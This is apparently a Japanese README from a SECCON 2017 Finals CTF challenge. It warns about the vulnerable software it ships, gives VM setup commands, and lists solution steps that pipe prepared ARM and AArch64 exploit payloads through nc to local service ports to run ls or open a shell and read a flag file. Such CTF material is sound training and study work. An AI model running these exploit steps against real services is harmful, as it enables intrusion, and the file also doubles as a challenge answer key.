2017年度に出題した問題です.
※ (注意!)脆弱性のあるプログラムなどが含まれます.無保証です. 取扱には十分に注意してください.十分に理解した上で利用してください. インターネットに直接接続しているような状態でうかつに立ち上げたり しないように注意!
SECCON2017FINAL-qemuserver.ova をインポートし,以下を実行することで
system()により ls or sh を実行する
# chattr -i /home/arch00/bin /home/arch00/lib
# chattr -i /home/arch02/bin /home/arch02/lib
# cp /bin/sh /bin/ls /bin/cat /home/arch00/bin
# cp /bin/sh /bin/ls /bin/cat /home/arch02/bin
# cp /lib/i386-linux-gnu/libselinux.so.1 /home/arch00/lib
# cp /lib/i386-linux-gnu/libacl.so.1 /home/arch00/lib
# cp /lib/i386-linux-gnu/i686/cmov/libdl.so.2 /home/arch00/lib
# cp /lib/i386-linux-gnu/libattr.so.1 /home/arch00/lib
# cp /lib/i386-linux-gnu/libselinux.so.1 /home/arch02/lib
# cp /lib/i386-linux-gnu/libacl.so.1 /home/arch02/lib
# cp /lib/i386-linux-gnu/i686/cmov/libdl.so.2 /home/arch02/lib
# cp /lib/i386-linux-gnu/libattr.so.1 /home/arch02/lib
(/bin/ls実行)
% cd answer/system-ls
% ./cat.pl enter.bin arm-elf.dat - | nc localhost 10000
% ./cat.pl enter.bin aarch64-elf.dat - | nc localhost 10002
(シェル起動)
% cd answer/system-sh
% ./cat.pl enter.bin arm-elf.dat - | nc localhost 10000
→ 接続後に cat /word.txt などが実行できる
% ./cat.pl enter.bin aarch64-elf.dat - | nc localhost 10002
→ 接続後に cat /word.txt などが実行できる